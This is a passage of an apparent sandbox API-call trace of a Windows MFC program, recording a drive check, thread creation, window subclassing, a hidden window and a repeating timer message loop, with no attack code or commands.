GetLogicalDrives () returned 0x4 [0235.243] SetErrorMode (uMode=0x1) returned 0x8001 [0235.243] PathFileExistsA (pszPath="C:\\") returned 1 [0235.243] SetErrorMode (uMode=0x8001) returned 0x1 [0235.243] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0235.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1143c20, lpParameter=0xc95650, dwCreationFlags=0x0, lpThreadId=0xc8df38 | out: lpThreadId=0xc8df38*=0xf24) returned 0x330 [0235.244] IsWindow (hWnd=0x60086) returned 1 [0235.244] SetWindowTextW (hWnd=0x60086, lpString="Stop") returned 1 [0235.244] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0xc, wParam=0x0, lParam=0x1352da0) returned 0x1 [0235.244] ShowWindow (hWnd=0x30098, nCmdShow=0) returned 0 [0235.244] GetWindowLongW (hWnd=0x30098, nIndex=-16) returned -2066874292 [0235.244] GetWindowRect (in: hWnd=0x30098, lpRect=0xbde94c | out: lpRect=0xbde94c) returned 1 [0235.244] GetWindow (hWnd=0x30098, uCmd=0x4) returned 0x0 [0235.244] FindResourceW (hModule=0x1110000, lpName=0x66, lpType=0x5) returned 0x139c338 [0235.244] LoadResource (hModule=0x1110000, hResInfo=0x139c338) returned 0x13c6e38 [0235.244] LockResource (hResData=0x13c6e38) returned 0x13c6e38 [0235.244] FreeResource (hResData=0x13c6e38) returned 0 [0235.244] GetWindowLongW (hWnd=0x30098, nIndex=-16) returned -2066874292 [0235.245] GetWindow (hWnd=0x30098, uCmd=0x4) returned 0x0 [0235.245] GetWindowRect (in: hWnd=0x30098, lpRect=0xbde914 | out: lpRect=0xbde914) returned 1 [0235.245] MonitorFromWindow (hwnd=0x30098, dwFlags=0x1) returned 0x10001 [0235.245] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0xbde8dc | out: lpmi=0xbde8dc) returned 1 [0235.245] CopyRect (in: lprcDst=0xbde904, lprcSrc=0xbde8f0 | out: lprcDst=0xbde904) returned 1 [0235.245] CopyRect (in: lprcDst=0xbde924, lprcSrc=0xbde8f0 | out: lprcDst=0xbde924) returned 1 [0235.245] SetWindowPos (hWnd=0x30098, hWndInsertAfter=0x0, X=489, Y=240, cx=-1, cy=-1, uFlags=0x15) returned 1 [0235.245] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x46, wParam=0x0, lParam=0xbde85c) returned 0x0 [0235.246] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x47, wParam=0x0, lParam=0xbde85c) returned 0x0 [0235.246] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x3, wParam=0x0, lParam=0x10f01f1) returned 0x0 [0235.246] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0235.246] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0235.246] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0235.247] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2010 [0235.247] CallNextHookEx (hhk=0x1000e3, nCode=9, wParam=0x60086, lParam=0x0) returned 0x0 [0235.247] CallNextHookEx (hhk=0x1000e3, nCode=5, wParam=0x30098, lParam=0xbdeb1c) returned 0x0 [0235.247] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.247] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x46, wParam=0x0, lParam=0xbdeb04) returned 0x0 [0235.247] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x46, wParam=0x0, lParam=0xbdeb04) returned 0x0 [0235.248] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.248] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x47, wParam=0x0, lParam=0xbdeb04) returned 0x0 [0235.248] GetPropW (hWnd=0x30020, lpString="AfxOldWndProc423") returned 0x747484b0 [0235.248] CallWindowProcW (lpPrevWndFunc=0x747484b0, hWnd=0x30020, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0235.249] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.249] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0235.249] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0235.249] IsWindowEnabled (hWnd=0x30098) returned 1 [0235.249] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0235.250] GetWindowLongW (hWnd=0x30098, nIndex=-16) returned -2066874292 [0235.250] GetParent (hWnd=0x30098) returned 0x0 [0235.250] GetParent (hWnd=0x30098) returned 0x0 [0235.250] SendMessageW (hWnd=0x30098, Msg=0x36e, wParam=0x1, lParam=0xbde734) returned 0x0 [0235.250] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0235.250] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.250] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x287, wParam=0x17, lParam=0x60086) returned 0x0 [0235.251] GetClassLongW (hWnd=0x20228, nIndex=-32) returned 0xc03e [0235.251] GetWindowLongW (hWnd=0x20228, nIndex=-4) returned 1963210704 [0235.251] GetPropW (hWnd=0x20228, lpString="AfxOldWndProc423") returned 0x0 [0235.251] SetPropW (hWnd=0x20228, lpString="AfxOldWndProc423", hData=0x750437d0) returned 1 [0235.252] GetPropW (hWnd=0x20228, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.252] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0235.252] SetWindowLongW (hWnd=0x20228, nIndex=-4, dwNewLong=18156417) returned 1963210704 [0235.252] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x20228, lParam=0xbddf68) returned 0x0 [0235.252] GetPropW (hWnd=0x20228, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.252] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x20228, Msg=0x81, wParam=0x0, lParam=0xbddfb8) returned 0x1 [0235.252] GetPropW (hWnd=0x20228, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.252] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x20228, Msg=0x83, wParam=0x0, lParam=0xbddfa4) returned 0x0 [0235.252] GetPropW (hWnd=0x20228, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.253] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x20228, Msg=0x1, wParam=0x0, lParam=0xbddfb8) returned 0x0 [0235.253] GetPropW (hWnd=0x20228, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.253] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x20228, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0235.253] GetPropW (hWnd=0x20228, lpString="AfxOldWndProc423") returned 0x750437d0 [0235.253] CallWindowProcW (lpPrevWndFunc=0x750437d0, hWnd=0x20228, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0235.256] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0235.256] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.256] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0235.257] GetClassLongW (hWnd=0x2022a, nIndex=-32) returned 0xc04c [0235.257] GetWindowLongW (hWnd=0x2022a, nIndex=-4) returned 1994197760 [0235.257] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x0 [0235.257] SetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423", hData=0x76dd0b00) returned 1 [0235.257] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.257] GlobalAddAtomW (lpString="AfxOldWndProc423") returned 0xc170 [0235.257] SetWindowLongW (hWnd=0x2022a, nIndex=-4, dwNewLong=18156417) returned 1994197760 [0235.257] CallNextHookEx (hhk=0x1000e3, nCode=3, wParam=0x2022a, lParam=0xbdd6c0) returned 0x0 [0235.258] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.258] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x81, wParam=0x0, lParam=0xbdd710) returned 0x1 [0235.258] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.258] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x83, wParam=0x0, lParam=0xbdd6fc) returned 0x0 [0235.259] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.259] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x1, wParam=0x0, lParam=0xbdd710) returned 0x0 [0235.259] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.259] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0235.259] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.259] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x3, wParam=0x0, lParam=0x0) returned 0x0 [0235.259] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.260] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0235.260] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0235.260] GetPropW (hWnd=0x90208, lpString="AfxOldWndProc423") returned 0x74ae5dc0 [0235.260] CallWindowProcW (lpPrevWndFunc=0x74ae5dc0, hWnd=0x90208, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0235.260] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0235.260] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0235.260] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0235.260] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2010 [0235.260] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2010 [0235.260] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0xf4, wParam=0x0, lParam=0x1) returned 0x0 [0236.221] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x7c, wParam=0xfffffff0, lParam=0xbde6c4) returned 0x0 [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x7d, wParam=0xfffffff0, lParam=0xbde6c4) returned 0x0 [0236.222] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x20160, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x81 [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc003e, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x9003a, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0xc0028, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x8d [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x20212, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x2023a, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2020 [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x2022c, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2000 [0236.222] CallWindowProcW (lpPrevWndFunc=0x7474d210, hWnd=0x2022e, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x89 [0236.223] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x400, wParam=0x0, lParam=0x0) returned 0x534b0001 [0236.223] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x87, wParam=0x0, lParam=0x0) returned 0x2020 [0236.223] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0xf4, wParam=0x1, lParam=0x1) returned 0x0 [0236.223] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x7c, wParam=0xfffffff0, lParam=0xbde6f4) returned 0x0 [0236.223] CallWindowProcW (lpPrevWndFunc=0x7474e2c0, hWnd=0x60086, Msg=0x7d, wParam=0xfffffff0, lParam=0xbde6f4) returned 0x0 [0236.223] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0236.224] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1b430021) returned 1 [0236.224] GetWindowLongW (hWnd=0x30098, nIndex=-16) returned -2066874292 [0236.224] GetWindowLongW (hWnd=0x30098, nIndex=-16) returned -2066874292 [0236.224] GetParent (hWnd=0x30098) returned 0x0 [0236.224] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 1 [0236.224] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0236.224] GetParent (hWnd=0x30098) returned 0x0 [0236.224] GetParent (hWnd=0x30098) returned 0x0 [0236.224] GetParent (hWnd=0x30098) returned 0x0 [0236.224] GetParent (hWnd=0x30098) returned 0x0 [0236.224] TranslateMessage (lpMsg=0xc3d688) returned 0 [0236.224] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0236.224] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0236.224] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 1 [0236.224] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0236.225] GetParent (hWnd=0x20160) returned 0x30098 [0236.225] GetParent (hWnd=0x30098) returned 0x0 [0236.225] GetParent (hWnd=0x20160) returned 0x30098 [0236.225] GetParent (hWnd=0x20160) returned 0x30098 [0236.225] GetParent (hWnd=0x30098) returned 0x0 [0236.225] GetParent (hWnd=0x30098) returned 0x0 [0236.225] GetParent (hWnd=0x30098) returned 0x0 [0236.225] TranslateMessage (lpMsg=0xc3d688) returned 0 [0236.225] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0236.225] CallWindowProcW (lpPrevWndFunc=0x74747ac0, hWnd=0x20160, Msg=0x113, wParam=0x2d, lParam=0x0) returned 0x0 [0236.225] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 1 [0236.225] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0236.225] GetParent (hWnd=0x2022a) returned 0x90208 [0236.225] GetParent (hWnd=0x90208) returned 0x30098 [0236.225] GetParent (hWnd=0x30098) returned 0x0 [0236.225] GetParent (hWnd=0x2022a) returned 0x90208 [0236.225] GetWindowLongW (hWnd=0x2022a, nIndex=-16) returned -1946157056 [0236.225] GetWindow (hWnd=0x2022a, uCmd=0x4) returned 0x90208 [0236.226] GetWindowLongW (hWnd=0x90208, nIndex=-16) returned -1946157056 [0236.226] GetWindow (hWnd=0x90208, uCmd=0x4) returned 0x30098 [0236.226] GetParent (hWnd=0x30098) returned 0x0 [0236.226] GetParent (hWnd=0x30098) returned 0x0 [0236.226] TranslateMessage (lpMsg=0xc3d688) returned 0 [0236.226] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0236.226] GetPropW (hWnd=0x2022a, lpString="AfxOldWndProc423") returned 0x76dd0b00 [0236.226] CallWindowProcW (lpPrevWndFunc=0x76dd0b00, hWnd=0x2022a, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0236.226] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0236.226] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0236.226] ShowWindow (hWnd=0x30098, nCmdShow=1) returned 0 [0236.226] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0236.226] ShowWindow (hWnd=0x30098, nCmdShow=0) returned 0 [0236.226] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x46, wParam=0x0, lParam=0xbdece4) returned 0x0 [0236.226] UpdateWindow (hWnd=0x30098) returned 1 [0236.226] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.226] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.227] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0236.231] GetParent (hWnd=0x30098) returned 0x0 [0236.231] GetParent (hWnd=0x30098) returned 0x0 [0236.231] GetParent (hWnd=0x30098) returned 0x0 [0236.231] GetParent (hWnd=0x30098) returned 0x0 [0236.231] TranslateMessage (lpMsg=0xc3d688) returned 0 [0236.231] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0236.231] IsWindowVisible (hWnd=0x30098) returned 0 [0236.231] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0236.231] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0236.231] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0236.231] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.231] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0236.231] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0237.246] GetParent (hWnd=0x30098) returned 0x0 [0237.246] GetParent (hWnd=0x30098) returned 0x0 [0237.246] GetParent (hWnd=0x30098) returned 0x0 [0237.246] GetParent (hWnd=0x30098) returned 0x0 [0237.246] TranslateMessage (lpMsg=0xc3d688) returned 0 [0237.246] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0237.246] IsWindowVisible (hWnd=0x30098) returned 0 [0237.246] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0237.246] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0237.246] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0237.246] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0237.246] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0237.246] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0238.902] GetParent (hWnd=0x30098) returned 0x0 [0238.902] GetParent (hWnd=0x30098) returned 0x0 [0238.902] GetParent (hWnd=0x30098) returned 0x0 [0238.902] GetParent (hWnd=0x30098) returned 0x0 [0238.902] TranslateMessage (lpMsg=0xc3d688) returned 0 [0238.902] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0238.902] IsWindowVisible (hWnd=0x30098) returned 0 [0238.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0238.902] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0238.902] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0238.902] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0238.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0238.902] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0239.902] GetParent (hWnd=0x30098) returned 0x0 [0239.902] GetParent (hWnd=0x30098) returned 0x0 [0239.902] GetParent (hWnd=0x30098) returned 0x0 [0239.902] GetParent (hWnd=0x30098) returned 0x0 [0239.902] TranslateMessage (lpMsg=0xc3d688) returned 0 [0239.902] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0239.902] IsWindowVisible (hWnd=0x30098) returned 0 [0239.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0239.902] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0239.902] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0239.902] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0239.902] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0239.902] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0241.880] GetParent (hWnd=0x30098) returned 0x0 [0241.880] GetParent (hWnd=0x30098) returned 0x0 [0241.880] GetParent (hWnd=0x30098) returned 0x0 [0241.880] GetParent (hWnd=0x30098) returned 0x0 [0241.880] TranslateMessage (lpMsg=0xc3d688) returned 0 [0241.880] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0241.880] IsWindowVisible (hWnd=0x30098) returned 0 [0241.880] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0241.880] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0241.880] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0241.880] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0241.880] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0241.880] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0242.885] GetParent (hWnd=0x30098) returned 0x0 [0242.885] GetParent (hWnd=0x30098) returned 0x0 [0242.885] GetParent (hWnd=0x30098) returned 0x0 [0242.885] GetParent (hWnd=0x30098) returned 0x0 [0242.885] TranslateMessage (lpMsg=0xc3d688) returned 0 [0242.885] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0242.885] IsWindowVisible (hWnd=0x30098) returned 0 [0242.885] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0242.885] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0242.885] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0242.885] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0242.885] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0242.885] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0243.894] GetParent (hWnd=0x30098) returned 0x0 [0243.894] GetParent (hWnd=0x30098) returned 0x0 [0243.894] GetParent (hWnd=0x30098) returned 0x0 [0243.894] GetParent (hWnd=0x30098) returned 0x0 [0243.894] TranslateMessage (lpMsg=0xc3d688) returned 0 [0243.894] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0243.894] IsWindowVisible (hWnd=0x30098) returned 0 [0243.894] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0243.894] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0243.894] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xc3d688) returned 0 [0243.894] SendMessageW (hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0243.894] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x36a, wParam=0x0, lParam=0x0) returned 0x0 [0243.894] GetMessageW (in: lpMsg=0xc3d688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xc3d688) returned 1 [0244.900] GetParent (hWnd=0x30098) returned 0x0 [0244.900] GetParent (hWnd=0x30098) returned 0x0 [0244.900] GetParent (hWnd=0x30098) returned 0x0 [0244.900] GetParent (hWnd=0x30098) returned 0x0 [0244.900] TranslateMessage (lpMsg=0xc3d688) returned 0 [0244.900] DispatchMessageW (lpMsg=0xc3d688) returned 0x0 [0244.900] IsWindowVisible (hWnd=0x30098) returned 0 [0244.900] CallWindowProcW (lpPrevWndFunc=0x77a0cb60, hWnd=0x30098, Msg=0x113, wParam=0x1, lParam=0x0) returned 0x0 [0244.900] PeekMessageW (in: lpMsg=0xc3d688, hWnd=0x0, 